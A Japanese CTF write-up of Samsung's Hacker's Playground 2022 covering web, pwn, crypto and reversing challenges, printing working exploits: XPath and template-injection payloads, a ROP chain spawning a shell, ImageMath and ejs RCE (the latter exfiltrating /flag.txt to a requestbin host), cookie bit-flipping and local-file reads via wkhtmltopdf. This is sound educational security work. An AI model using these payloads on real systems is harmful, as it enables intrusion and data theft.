Satoooonの物置

CTFなどをしていない

Hacker's Playground (Samsung CTF) 2022 Writeup

Samsung Security Tech Forumというイベントで開催されたHacker's Playground 2022 (要するにSamsung CTF)に参加して13位という結果でした。解けた問題について解説していきます。サーバーがもう閉じられているので解説が曖昧です。

scoreboard

Turorial

初心者向けにTutorial問題が用意されていました。内容はBOF,SQLi,XSS,RSA,RC4といったもので、問題の解法まで説明されている解説PDFが付いているので何もわからない状態の人でも解けるよう配慮されています。優しい。

Tutorial問題の解説は割愛します。

[Web] Yet Another Injection [103 solves]

PHP製のサイトで、ソースコードがWeb上で見れるようになっています。サーバーは閉じてるし手元に保存もしてないので、ソースコードを載せることができません。(インフラ、一週間くらい維持して欲しい) 多分後で公式リポジトリに上がってると思います。

要約するとpapers.xmlから論文をXPATHで検索して表示するサイトです。論文の詳細を取得する処理にquery = "//Papers[idx = '". $_GET["idx"] . "' and @published='yes']"みたいなXPATH Injectionがあったので、' or @published!='yes'] | //Papers['1'='みたいなクエリを投げるとフラグが得られました。

[Rev/Misc] DocxArchive [101 solves]

Wordの添付ファイルが壊れているので修復してくれという問題です。docxなのでとりあえずunzipすると、./word/embeddings/oleObject1.binというファイルが出てきました。

❯ file oleObject1.bin
oleObject1.bin: Composite Document File V2 Document, Cannot read section info

oleファイルの解析はしたことなかったので調べると、oletoolsというツールがいいらしいと知ったのでダウンロードして使います。

❯ oleobj.py ./oleObject1.bin
...
oleobj 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

-------------------------------------------------------------------------------
File: './oleObject1.bin'
extract file embedded in OLE object from stream '\x01Ole10Native':
Parsing OLE Package
Filename = "Open-Me.bin"
Source path = "C:\Users\srsecuritylab\Open-Me.bin"
Temp path = "C:\Users\srsecuritylab\AppData\Local\Temp\Open-Me.bin"
saving to file ./oleObject1.bin_Open-Me.bin
❯ file oleObject1.bin_Open-Me.bin
oleObject1.bin_Open-Me.bin: Windows Enhanced Metafile (EMF) image data version 0x10000

oleObject1.bin_Open-Me.binという画像ファイルが出てきました。拡張子を.emfにして開くと、フラグが得られました。

SCTF{D0-y0u-kn0w-01E-4nd-3mf-forM4t?}

[pwn] pppr [91 solves]

バイナリとデコンパイルされたソースコードが渡されます。

//decompiled source code, generated by IDA pro

char buf_in_bss[128];

int __cdecl r(int a1, unsigned int a2, int a3)
{
  int result; // eax
  char v4; // [esp+3h] [ebp-9h]
  unsigned int i; // [esp+4h] [ebp-8h]

  if ( a3 )
  {
    puts("r() works only for stdin.");
    result = -1;
  }
  else
  {
    for ( i = 0; a2 > i; ++i )
    {
      v4 = fgetc(stdin);
      if ( v4 == -1 || v4 == 10 )
        break;
      *(_BYTE *)(a1 + i) = v4;
    }
    *(_BYTE *)(i + a1) = 0;
    result = i;
  }
  return result;
}

int __cdecl x(char *command)
{
  return system(command);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[4]; // [esp+0h] [ebp-8h] BYREF

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  alarm(0xAu);

  r(v4, 64, 0);
  return 0;
}
❯ file pppr
pppr: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c8800d35a108c24d3ae283f304c14ae36cca31e6, not stripped
❯ checksec pppr
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

x86 ROPです。久しぶりなのでやり方忘れてました……

x86はスタックに引数を積むので、適当に引数を置いておき、終わったらpop gadgetで綺麗にするとROP Chainができます。

pop4 = 0x080486a8

payload = b"111122223333"

payload += p32(chall.sym["r"])
payload += p32(pop4)
payload += p32(chall.sym["buf_in_bss"])
payload += p32(128)
payload += p32(0)
payload += p32(0)  # dummy

payload += p32(chall.plt["system"])
payload += p32(0xdeadbeef) # dummy ret
payload += p32(chall.sym["buf_in_bss"])

io = connect()

io.sendline(payload)
io.sendline(b"/bin/sh\x00")

io.interactive()

[Web/Misc] Imageium [95 solves]

ある画像を色々画像処理できるアプリです。うろ覚えですが、/dynamic/image?mode=R+GみたいなAPIで画像が生成されていました。

?mode=hogeと適当な値を入れてみると、ImageMath error name 'hoge' is not definedのようなエラーが出力されます。ImageMathというワードが出てきたので検索してみると、過去にRCEの脆弱性があったようですね。見るからにmodePythonコードとして実行されていそうです。

github.com

エラーが出力されているので、raise Exception()で情報を出力すると良さそうです。以下のようなリクエストを送ってRCEし、サーバー内のファイルを探すとフラグがありました。

?mode=exec("import os;raise Exception(os.popen('ls -al'))")

[Crypto/Web] CUSES [61 solves]

これもソースコードがWeb上で見れるタイプの問題で手元にソースコードが無いです。

要約すると以下のようなサイトになります。

  • guest:guestpasswordでログインできる

  • セッションがAES-128-CTRで暗号化されている。平文はusername|server_sercretの形式で、base64(iv|AES(plaintext))の形でCookieに保存される。

  • admin|server_secretのセッションでアクセスするとフラグが得られる

AES-CTRの復号の図を見ると、最後に暗号文でXORして平文を復元していることがわかります。暗号文の改ざんに対しては対策されていないので、Bit flipping attackが有効です。

ja.wikipedia.org

guest|server_secretの暗号文は手に入っているので、暗号文の冒頭五文字をguestadminでXORすることでadmin|server_secretの暗号文が得られます。

from pwn import xor
from base64 import b64decode, b64encode

guest_cookie = "vE5/uHPfMFQWFaUA0SkzbnxHgfF4lPUOXqWEX3BjOyzdlMbQ5PQhE7eYwpojcdB7pIn8rJIT0KaS3GfDl4Mif4LuWiQtKPnPlLEfWC0ykqI1/X8H/GBcUQ=="
iv, cipher = b64decode(guest_cookie).split(b"|")

print(iv, cipher)

cipher = list(cipher)
for i in range(5):
    cipher[i] ^= b"admin"[i] ^ b"guest"[i]
cipher = bytes(cipher)

print(b64encode(iv+b"|"+cipher))

出力されたCookieをセットしてアクセスするとフラグが得られました。

[Misc/Web] 5th degree [55 solves]

単純明快、以下のような5次関数の最大値と最小値を1分以内に30問答えろという問題です。

もちろん人力では無理なのでスクレイピングしてSageMathで解きます。多項式関数の最大値/最小値は定義域の端か極値にしか存在しないので、微分して極値を求めて端と合わせてmax/minを取れば求まります。

ところでsolveした後に出てくるx == 0みたいなExpressionから値取り出すのってどうやればいいんですかね?ちょっと調べてもわからなかったので、ここではstrして取り出すゴリラ解決をしています。

import requests
import re
ses = requests.Session()


def get_param():
    html = ses.get("http://5thdegree.sstf.site/chal?").text
    # \[ y = 543x^5 - 866128440x^4 - 89119496336235x^3 + 470712733502781530055x^2 + 112974154760271184347141240x + 820071 \]
    coefs = re.search(r"\\\[ y = (-?\d+)x\^5 ([+-] \d+)x\^4 ([+-] \d+)x\^3 ([+-] \d+)x\^2 ([+-] \d+)x ([+-] \d+) \\\]", html).groups()
    coefs = [int(c.replace(" ", ""))for c in coefs]
    minlim, maxlim = map(int, re.search(r"\\\( (-?\d+) \\le x \\le (-?\d+) \\\)", html).groups())
    return coefs, minlim, maxlim


def submit(maximum, minimum):
    res = ses.post("http://5thdegree.sstf.site/chal", data={"min": minimum, "max": maximum})
    print(res, res.text)


for i in range(30):
    coefs, minlim, maxlim = get_param()
    print(coefs, minlim, maxlim)

    x = var("x")
    poly(x) = sum([coefs[i] * x^(5-i) for i in range(6)])
    print(poly)

    diff_roots = [int(repr(c).split(" ")[-1]) for c in solve(diff(poly(x), x) == 0, x)]
    diff_roots = list(filter(lambda x: minlim <= x <= maxlim, diff_roots))
    print(diff_roots, minlim, maxlim)

    candidates = list(map(int, map(poly, diff_roots + [minlim, maxlim])))
    print(candidates)
    maximum = max(candidates)
    minimum = min(candidates)
    print(maximum, minimum)

    submit(maximum, minimum)
    print(ses.cookies)

値域外にある極値を弾くのを忘れて30分くらい溶かしてました。数学弱すぎる……

[Web] Online Education [33 solves]

講義の動画が見れるサイトです。ソースコードが配布されています(wowwow)

import os
import io
import re
import time
import string
import hashlib
from flask import Flask, render_template, request, session, redirect, flash, jsonify, send_file
from functools import wraps

from config import secret_key, admin_hash, course_data
from cert import make_certificate

app = Flask(__name__, static_url_path="/static")
app.secret_key = secret_key
app.config['SESSION_COOKIE_NAME'] = 'EduSession'

def login_required(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        if 'name' not in session:
            flash("Login Required")
            return redirect('/')
        return f(*args, **kwargs)
    return decorator

def check_email(email):
    regex = '[A-Za-z0-9._+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}'
    if re.match(regex, email) == None:
        flash("Invalid Email")
        return False
    return True


def check_name(name):
    charset = string.ascii_letters + ' '
    for c in name:
        if c not in charset:
            flash("Invalid Name")
            return False
    return True


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/signin', methods=['POST'])
def signin():
    try:
        name = request.form['name']
        email = request.form['email']
        if check_name(name) and check_email(email):
            session.clear()
            session['name'] = name
            session['email'] = email
            session['is_admin'] = hashlib.md5(name.encode()).hexdigest() == admin_hash
            session['idx'] = 0
            return redirect('/main')
    except:
        pass
    return redirect('/')


@app.route('/main')
@login_required
def main():
    if session['idx'] >= len(course_data['vids']):
        flash('You finished the course! Get the certificate!')
    return render_template('main.html', data=course_data, idx=session['idx'])


@app.route('/status', methods=['POST'])
@login_required
def status():
    result = {}
    try:
        video = course_data['vids'][session['idx']]
        params = request.get_json()
        action = params['action']
        if action == 'start':
            session['start'] = time.time()
        elif action == 'finish':
            rate = float(params['rate'])
            if rate > 1.5:
                result['msg'] = 'Why are you so fast?'
            else:
                passed_time = time.time() - session['start']
                if (video['length'] / rate) < passed_time + 3:
                    session.pop('start', None)
                    session['idx'] += 1
                    result['msg'] = 'Good Job!'
                else:
                    result['msg'] = 'Do not skip video!'
    except:
        result['msg'] = 'error'
    return jsonify(result)


@app.route('/cert')
@login_required
def cert():
    if session['idx'] < len(course_data['vids']):
        return 'No!'

    pdf = make_certificate(session['name'], session['email'],
                           course_data['name'], course_data['author'])
    return send_file(
        io.BytesIO(pdf),
        mimetype='application/pdf')


@app.route('/flag')
@login_required
def flag():
    ### CTF stuff ###
    if session['is_admin']:
        flash(os.popen('cat flag*').read().strip())
    else:
        flash("you are not an admin, {}".format(session['name']))
    return redirect('/')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999, debug=False)

/flagis_admin: Trueなセッションでアクセスすればフラグが得られるようなので、最終目標はセッションの改ざんです。config.pysecret_keyが書いてあるようなので、config.pyが見れれば勝ちですね。

また、講義の動画を全て見た状態で/certにアクセスすると証書が発行されるようです。とりあえずはそれを目指しましょう。

当然講義の動画は全て見てられないのでどうにかスキップしたいところですが、動画の開始/終了は/statusで管理されているのでクライアント側で改ざんすることはできません。(FlaskのセッションはJWTに似た仕組みなので無理)

動画の再生スピードrateはセッションで管理されておらずこちらから指定できるので何かありそうですね。しかしrateも1.5より高くはできません。

     session['start'] = time.time()
        elif action == 'finish':
            rate = float(params['rate'])
            if rate > 1.5:
                result['msg'] = 'Why are you so fast?'
            else:
                passed_time = time.time() - session['start']
                if (video['length'] / rate) < passed_time + 3:
                    session.pop('start', None)
                    session['idx'] += 1
                    result['msg'] = 'Good Job!'
                else:
                    result['msg'] = 'Do not skip video!'

ではrateが負の値ならどうでしょうか?ちょうど終了判定の(video['length'] / rate) < passed_time + 3を真にすることができるので、これで動画をスキップすることができます。

さて、動画を全部スキップしたら証書が発行できるようになりました。証書の発行はcert.pyで処理されています。

import time
import pdfkit

template = """
<html>
<head>
<style>
...
</style>
</head>
<body>
<div class="outer-border">
<div class="inner-dotted-border">
       <span class="certification">Certificate of Completion</span>
       <br><br>
       <span class="certify"><i>This is to certify that</i></span>
       <br><br>
       <span class="name"><b>{}</b></span><br/>
       <span class="fs-20">({})</span><br/><br/>
       <span class="certify"><i>has successfully completed the course</i></span> <br/><br/>
       <span class="fs-30">{}</span> <br/>
       <span class="certify"><i>by</i></span> <br/>
       <span class="certify">{}</span> <br/><br/>
       <span class="certify"><i>dated</i></span><br>
      <span class="fs-30">{}</span>
</div>
</div>
</body>
</html>
"""


def make_certificate(name, email, course, author):
    date = time.strftime('%d, %b, %Y', time.localtime())
    html = template.format(name, email, course, author, date)
    options = {'orientation': 'landscape', 'page-size': 'B6'}
    # Cool! HTML to PDF
    pdf = pdfkit.from_string(html, options=options)
    return pdf

証書のHTMLを作成した後にpdfkitというライブラリを使用してPDFに変換しているようです。とりあえず任意のHTMLを挿入できるようにしたいですが、nameemailにはバリデーションがあるので単純にはできません。よく見ると、emailのバリデーションにミスがあります。

def check_email(email):
    regex = '[A-Za-z0-9._+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}'
    if re.match(regex, email) == None:
        flash("Invalid Email")
        return False
    return True

正規表現の最後に$を付け忘れています。これでは文字列の先頭しかチェックされないので、hoge@example.com<s>yay</s>とすればbypassできます。

さて、HTMLをPDFに変換するときにローカルのファイルを読み込めそうな匂いがしますがiframeやリダイレクトを試しても効果がありませんでした。大人しく調べていくと、pdfkitはwkhtmltopdfというライブラリを使用していることがわかります。これについても調べると、exploitの記事が見つかります。

www.virtuesecurity.com

<iframe src=”file:///etc/passwd” height=”500” width=”500”>

なるほど、表示させるにはheightとwidthを指定する必要があったんですね (恐らく指定しなくてもPDFを解析すれば出てきそう)

これを使ってconfig.pyを表示させればよいです。まとめると、exploitは以下のようになります。

import requests
ses = requests.Session()
url = "http://onlineeducation.sstf.site"
assert ses.post(url+"/signin", data={
        "name": "hoge",
        "email": "fuga@example.com<iframe src='file:///home/app/config.py' height='500' width='500'/>"
}).status_code == 200

print(ses.post(url+"/status", json={"action": "start"}).text)
print(ses.post(url+"/status", json={"action": "finish", "rate": -1}).text)

print(ses.post(url+"/status", json={"action": "start"}).text)
print(ses.post(url+"/status", json={"action": "finish", "rate": -1}).text)

print(ses.post(url+"/status", json={"action": "start"}).text)
print(ses.post(url+"/status", json={"action": "finish", "rate": -1}).text)

print(ses.cookies)

出力されたCookieをセットして/certにアクセスすると、secret_keyを表示させることができます。

/cert

手に入れたsecret_keyflask-unsignを使ってセッションを"is_admin": Trueに改ざんし、/flagにアクセスするとフラグが得られました。

[Web] JWT Decoder [31 solves]

JWTをデコードしてくれるサイトです。

const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const app = express();
const PORT = 3000;

app.use(cookieParser());
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    let rawJwt = req.cookies.jwt || {};
    console.log(rawJwt)

    try {
        let jwtPart = rawJwt.split('.');

        let jwtHeader = jwtPart[0];
        jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
        jwtHeader = JSON.parse(jwtHeader);
        jwtHeader = JSON.stringify(jwtHeader, null, 4);
        rawJwt = {
            header: jwtHeader
        }

        let jwtBody = jwtPart[1];
        jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
        jwtBody = JSON.parse(jwtBody);
        jwtBody = JSON.stringify(jwtBody, null, 4);
        rawJwt.body = jwtBody;

        let jwtSignature = jwtPart[2];
        rawJwt.signature = jwtSignature;

    } catch(error) {
        if (typeof rawJwt === 'object') {
            rawJwt.error = error;
        } else {
            rawJwt = {
                error: error
            };
        }
    }
    console.log(rawJwt)
    res.render('index', rawJwt);
});

app.use(function(err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something wrong!');
});

app.listen(PORT, (err) => {
    console.log(`Server is Running on Port ${PORT}`);
});

シンプルなExpressアプリですね。JavaScriptのWeb問は初手npm auditです。

❯ npm audit

                       === npm audit security report ===

# Run  npm update ejs --depth 1  to resolve 1 vulnerability
┌───────────────┬──────────────────────────────────────────────────────────────┐
│ Critical      │ ejs template injection vulnerability                         │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package       │ ejs                                                          │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ ejs                                                          │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path          │ ejs                                                          │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info     │ https://github.com/advisories/GHSA-phwq-j96m-2c2q            │
└───────────────┴──────────────────────────────────────────────────────────────┘


found 1 critical severity vulnerability in 67 scanned packages
  run `npm audit fix` to fix 1 of them.

ejsが脆弱性のあるバージョンになっているようです。見てみると、outputFunctionNameなどのオプションが操作できるとRCEできるよという脆弱性のようです。

github.com

ejsに脆弱性があるということで、res.render('index', rawJwt)が怪しく見えますね。とりあえずrawJwtが操作できると嬉しそうなのでそれを考えてみます。

しかし、ソースコードを見てもrawJwtを自由に操作できそうな処理はありません。ここで詰まりましたが、cookie-parserライブラリを調べてみると答えがありました。

In addition, this module supports special "JSON cookies". These are cookie where the value is prefixed with j:. When these values are encountered, the value will be exposed as the result of JSON.parse. If parsing fails, the original value will remain.

cookie-parser - npm

cookie-parserでは値がj:から始まるCookieJSONとして解釈されるらしいです。恐ろしい……

つまりreq.cookies.jwtを任意のオブジェクトにすることができます。これはrawJwtに代入されてrawJwt.split('.')でエラーが起こりますがcatchされてそのまま進むので、結果的にrawJwtを任意のオブジェクトにすることができました。

さて、rawJwtを操作することはできましたがオプションを操作することはまだできていません。res.render('index', rawJwt)はテンプレートに渡すパラメータを指定しているだけで、オプションを指定するのは第三引数です。

どうしようか困りましたが、どうしようもないので何か方法がないかejsのソースコードを見に行きます。

ここでかなり時間を取られましたが、renderFile関数にオプションを操作できるパスを見つけました。

      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);

data["settings"]["view options"]があるとき、それをオプションにコピーしてくれるようです。コメントにもある通り、ドキュメントには載っていません。(しかし、最初に見たGitHubのAdovisoryにそれらしき記述があることに今気が付きました……)

あとは以下のようなexploitでRCEができます。this.construtor.constructorを使っているのは名前空間importが無かったからです。(フラグがWebに表示されるように謎に時間かけて試行錯誤していて、結局諦めてrequestbinに流す形にしたので無駄に複雑になっています)

import requests
requests.get("http://jwtdecoder.sstf.site/", headers={"Cookie": 'jwt=j:{"settings": {"view options": {"localsName": "locals = {body: this.constructor.constructor(`return (async ()=>(fs = await import(\'fs\'), http = await import(\'http\'), req = http.request(\'http://XXX.b.requestbin.net/?\'+fs.readFileSync(\'/flag.txt\')), req.end()))()`)()}"}}}'})

[Rev/Web] Flag Digging [30 solves]

画像のようなものが回転して描画されているサイトからWebGLの3Dモデルを盗めという問題です。

回転しているモデル

JavaScriptJavaScript Obfuscatorで難読化されていて結構デカいので、動的解析をしていきます。

Networkタブを見てみると、data.binというファイルがダウンロードされていました。fetchを使ってないか検索すると出てくるので、そこを中心に見るとすんなり解けます。

            const _0x124052 = await fetch(_0x86f237(0x55f, '\x43\x4a\x43\x24')),
                _0x159404 = await _0x124052[_0x86f237(0x490, '\x71\x4a\x6c\x78')](),
                _0x4d0c33 = _0x89a05f[_0x86f237(0x2da, '\x71\x4a\x6c\x78')][_0x86f237(0x210, '\x6c\x71\x34\x47')](_0x159404, _0x86f237(0x399, '\x4f\x66\x64\x72')),
                _0x3d27bf = JSON[_0x86f237(0x24b, '\x62\x29\x38\x76')](_0x4d0c33[_0x86f237(0x1d1, '\x73\x37\x78\x5e')](_0x89a05f[_0x86f237(0x3cd, '\x34\x47\x40\x54')][_0x86f237(0x27c, '\x53\x34\x45\x66')]));
            window[_0x86f237(0x4f9, '\x72\x23\x50\x31')] = _0x3d27bf;

_0x86f237(0x4f9, '\x72\x23\x50\x31')みたいなやつは元をたどっていくと同じ関数であることがわかるので、Devtools上で元の関数を同じ引数で実行すれば文字列が出てきます。それを元に丁寧にrevしていくと、data.binをダウンロードして以下のような処理をしていることがわかります。

window.obj = JSON.parse(CryptoJS.AES.decrypt(data, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\v\f').toString(CryptoJS.Enc.Utf8))

Devtools上でも確認すると、objを見ることができました。

> window.obj
{position: Array(83556), normal: Array(83556), color: {…}}

3Dモデルらしきものは手に入れましたが、自分はモデリングには詳しくないのでどういう形式なのか知らないのでフラグをどうやって見ればわかりません。こういうときは適当に値をいじって遊ぶのが吉です。以下のようなコードを挿入すると、フラグが見えるようになりました。

window.obj.position = window.obj.position.slice(0, Math.floor(window.obj.position.length/2))

回転しているので隙間からなんとか読める

SCTF{pay_m0n3y_t0_get_asset}

[Web] OnlineNotePad [16 solves]

import os
import jinja2
import uvicorn
from pydantic import BaseModel, Field, validator
from fastapi import FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates


app = FastAPI()

userinfo_path = "userinfo"
memo_path = "memo"

app.mount("/static", StaticFiles(directory="static"), name="static")
templates = Jinja2Templates(directory=["templates", userinfo_path, memo_path])
print(templates.env.filters)

userinfo_raw = """{%% set userid = "%s" %%}
{%% set password = "%s" %%}"""

memofile_raw = """<html>
<head>
    <title>Online Notepad</title>
    <link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
    {%% import userid+".j2" as user %%}

    {%% if userid == user.userid %%}
        {%% if password == user.password %%}
            <h1>Hello {{ userid }}</h1>
            <h1><pre>{%% raw %%}%s{%% endraw %%}</pre></h1>
        {%% else %%}
            <h1>Login Fail</h1>
        {%% endif %%}
    {%% else %%}
        <h1>Login Fail</h1>
    {%% endif %%}
</div>
</body>
</html>
"""

class Memo(BaseModel):
    userid: str = Field(min_length=5, max_length=20)
    password: str = Field(min_length=5, max_length=20)
    memo: str = Field(min_length=1, max_length=64)

    @validator("userid")
    def val_userid(cls, v):
        if v == "admin":
            raise ValueError("access denied")
        if v.isalnum() != True:
            raise ValueError("userid cannot contain a special character")
        return v

    @validator("password")
    def val_password(cls, v):
        if ("\"" in v) or ("/" in v):
            raise ValueError("password cannot contain a special character")
        return v

    @validator("memo")
    def val_memo(cls, v):
        if ("{{" in v) or ("}}" in v):
            raise ValueError("memo cannot contain a special character")
        return v


@app.post("/memo/")
async def write_memo(request:Request, memo:Memo):
    global userinfo_path, memo_path
    global userinfo_raw, memofile_raw

    userinfo = userinfo_raw % (memo.userid, memo.password)
    open(os.path.join(userinfo_path, memo.userid+".j2"), "w").write(userinfo)

    memofile = memofile_raw % memo.memo
    open(os.path.join(memo_path, memo.userid+".html"), "w").write(memofile)

    return memo

@app.get("/memo/{userid}/{password}")
async def read_memo(request:Request, userid:str, password:str):
    global userinfo_path, memo_path

    try:
        if (
            (userid.isalnum() == True) and 
            os.path.exists( os.path.join(userinfo_path, userid+".j2") ) and 
            os.path.exists( os.path.join(memo_path, userid+".html") )
        ):
            return templates.TemplateResponse(userid+".html", {"request": request, "userid":userid, "password":password})
        else:
            return templates.TemplateResponse("readfail.html", {"request": request})
    except Exception as e:
        print(e)
        return("Exception")

@app.get('/')
async def index(request:Request):
    context = {"request":request}
    return templates.TemplateResponse('index.html', context)


if __name__ == '__main__':
    uvicorn.run(app, host="localhost", port=35547, headers=[("Server", "FastAPI")], log_level="info")

/memo/の処理で、memoを使ってServer Side Template Injectionができます。

しかし、memoは64文字以内で{{}}なし、同じ名前空間にあるuseridは20文字以内のalphanumeric、passwordは20文字以内で"/なしという制限があります。Imaginary CTFのssti golfと似ていますね。st98さんのWriteupで見かけたlipsum.__globals__.os.popenというペイロードが使えないでしょうか?

nanimokangaeteinai.hateblo.jp

{%endraw%}{%set _=lipsum.__globals__.os.popen(password)%}{%raw%}でちょうど64文字です。しかし、自分はこのとき何故か「popenしても.read()相当をしないとコマンドが実行されないよな」と考えてしまいました。実際は.read()をしなくてもコマンドが実行されているのでこれでRCEができます。

lipsumが駄目だと思ってしまったので結構悩みましたが、{% include %}ペイロードを分割して組み立てる方針にしたところ解けました。以下がexploitです。

import requests
ses = requests.Session()
# url = "http://onlinenotepad.sstf.site"
url = "http://onlinenotepad.sstf.site"

print(ses.post(url+"/memo/", json={"userid": f"hogeX", "password": f"hogehoge", "memo": "hoge"}).text)

user1 = "hoge1"
passwd1 = "echo flag"
memo = "{%endraw%}{%set l=lipsum%}{%include'hoge2.html'%}{%raw%}"
print(len(memo))
print(ses.post(url+"/memo/", json={"userid": f"{user1}", "password": f"{passwd1}", "memo": memo}).text)

user = "hoge2"
passwd = "fugafuga"
memo = "{%endraw%}{%set g=l.__globals__%}{%include'hoge3.html'%}{%raw%}"
print(len(memo))
print(ses.post(url+"/memo/", json={"userid": f"{user}", "password": f"{passwd}", "memo": memo}).text)

user = "hoge3"
passwd = "fugafuga"
memo = "{%endraw%}{%set s=g.os.system%}{%include'hoge4.html'%}{%raw%}"
print(len(memo))
print(ses.post(url+"/memo/", json={"userid": f"{user}", "password": f"{passwd}", "memo": memo}).text)

user = "hoge4"
passwd = "fugafuga"
memo = "{%endraw%}{%set _=s('cat flag > memo/hogeX.html')%}{%raw%}"
print(len(memo))
print(ses.post(url+"/memo/", json={"userid": f"{user}", "password": f"{passwd}", "memo": memo}).text)



print(ses.get(url+f"/memo/{user1}/{passwd1}").text)
print(ses.get(url+f"/memo/hogeX/hogehoge").text)

print(ses.post(url+"/memo/", json={"userid": f"hoge1", "password": f"fugafuga", "memo": "hoge"}).text)
print(ses.post(url+"/memo/", json={"userid": f"hoge2", "password": f"fugafuga", "memo": "hoge"}).text)
print(ses.post(url+"/memo/", json={"userid": f"hoge3", "password": f"fugafuga", "memo": "hoge"}).text)
print(ses.post(url+"/memo/", json={"userid": f"hoge4", "password": f"fugafuga", "memo": "hoge"}).text)
print(ses.post(url+"/memo/", json={"userid": f"hogeX", "password": f"fugafuga", "memo": "hoge"}).text)

[Rev] FSC [16 solves]

#include <stdio.h>

#define F(X) "%"#X"$s"
#define O(X) "%"#X"$hhn"
#define R(V,X) "%2$"#V"d"O(X)
#define M(X) "%2$.*"#X"$d"
#define A(X) X X 
#define T(X) A(X)A(X)
#define S(X) T(X)T(X)
#define TR(X) S(X)S(X)
#define I(X) TR(TR(X))
#define N I(O(5)F(5))
#define G "\033[2J\n%7$s\n";

unsigned char f[1337]={0,};

char *have = A(M(12))R(48,13)A(M(14))R(66,15)M(16)R(150,17)A(M(18))R(
             36,19)A(M(20))R(46,21)M(22)R(131,23)A(M(24))R(32,25)M(26)
             R(161,27)A(M(28))R(66,29)A(M(30))R(26,31)A(M(32)) R(34,33
             )M(34)R(140,35)M(36)R(223,37)A(M(38))R(28,39)A( M(40))R(
             88,41)A(M(42))R(90,43)A(M(44))R(10,45)M(46)R( 155,47)M(48
             )R(159,49)A(M(50))R(116,51)M(52)R(141,53)M(54)R(151,55)A(
             M(56))R(22,57)M(58)R(140,59)A(M(60))R(122,61)M(62)R(154,
             63)M(64)R(153,65)A(M(66))R(22,67)M(68)R(146,69)A(M(70))R
             (66,71)N F(17)F(55)F(27)F(71)F(39)F(67)F(25)F(15)F(35)F(
             43)F(23)F(29)F(33)F(49)F(53)F(65)F(31)F(45)F(47)F(37)F(57
             )F(19)F(63)F(41)F(69)F(13)F(51)F(59)F(61)F(21)O(3)N TR(F(
             3)) R(71,7) N A(F(3))F(3) R(79,8) N R(79,9) N A(F(3)) S(
             F(3)) R(68,10) N A(TR(F(3)))T(F(3))A(F(3)) R(33,11) N G

#define  fun "SCTF{",01,f+38,f+34,f+32,f+36,f+40,f+41,f+42,f+43,f+44,\
             f[27],f+100,f[18],f+82,f[5],f+56,f[15],f+76,f[14],f+74,f\
             [29],f+104,f[12],f+70,f[11],f+68,f[21],f+88,f[7],f+60,f[\
             24],f+94,f[8],f+62,f[28],f+102,f[13],f+72,f[2],f+50,f[0]\
             ,f+46,f[4],f+54,f[22],f+90,f[10],f+66,f[3],f+52,f[20],f+\
             86,f[19],f+84,f[6],f+58,f[16],f+78,f[1],f+48,f[17],f+80,\
             f[26],f+98,f[25],f+96,f[23],f+92,f[9],f+64,f[99],1337,"}"

int main(){
    printf("flag : ");
    scanf ("%30s", f);
    printf(have, fun);
}

書式文字列を使ってプログラムを実装しています。Google CTFのやつみたいに独自書式も取り入れてないしコード量も少ないので解けそうということで挑戦しました。

丁寧にrevすると次のようになります。Nだけ何をやっているのかよくわからなかったんですが、多分%hhnのバッファのクリアをしています。

#define PRINT_STRING(X) "%"#X"$s"
#define WRITE_BYTE(X) "%"#X"$hhn"
#define W(V,X) "%2$"#V"d"WRITE_BYTE(X)
#define READ(X) "%2$.*"#X"$d"
#define M2(X) X X 
#define M4(X) M2(X)M2(X)
#define M8(X) M4(X)M4(X)
#define M16(X) M8(X)M8(X)
#define M256(X) M16(M16(X))
#define N M256(WRITE_BYTE(5)PRINT_STRING(5))
#define G "\033[2J\n%7$s\n";

// 入力した文字を何かに変換
M2(READ(12))
W(48,13)

M2(READ(14))
W(66,15)

...

READ(68)
W(146,69)

M2(READ(70))
W(66,71)

N
// 変換した文字をそれぞれ出力
PRINT_STRING(17)
PRINT_STRING(55)
...
PRINT_STRING(61)
PRINT_STRING(21)
WRITE_BYTE(3)
N
// W
M16(PRINT_STRING(3))
W(71,7)
N
// R
M2(PRINT_STRING(3))
PRINT_STRING(3)
W(79,8)
N
// O
W(79,9)
N
// N
M2(PRINT_STRING(3))
M8(PRINT_STRING(3))
W(68,10)
N
// G
M2(M16(PRINT_STRING(3)))
M4(PRINT_STRING(3))
M2(PRINT_STRING(3))
W(33,11)
N
// WRONGを出力
G

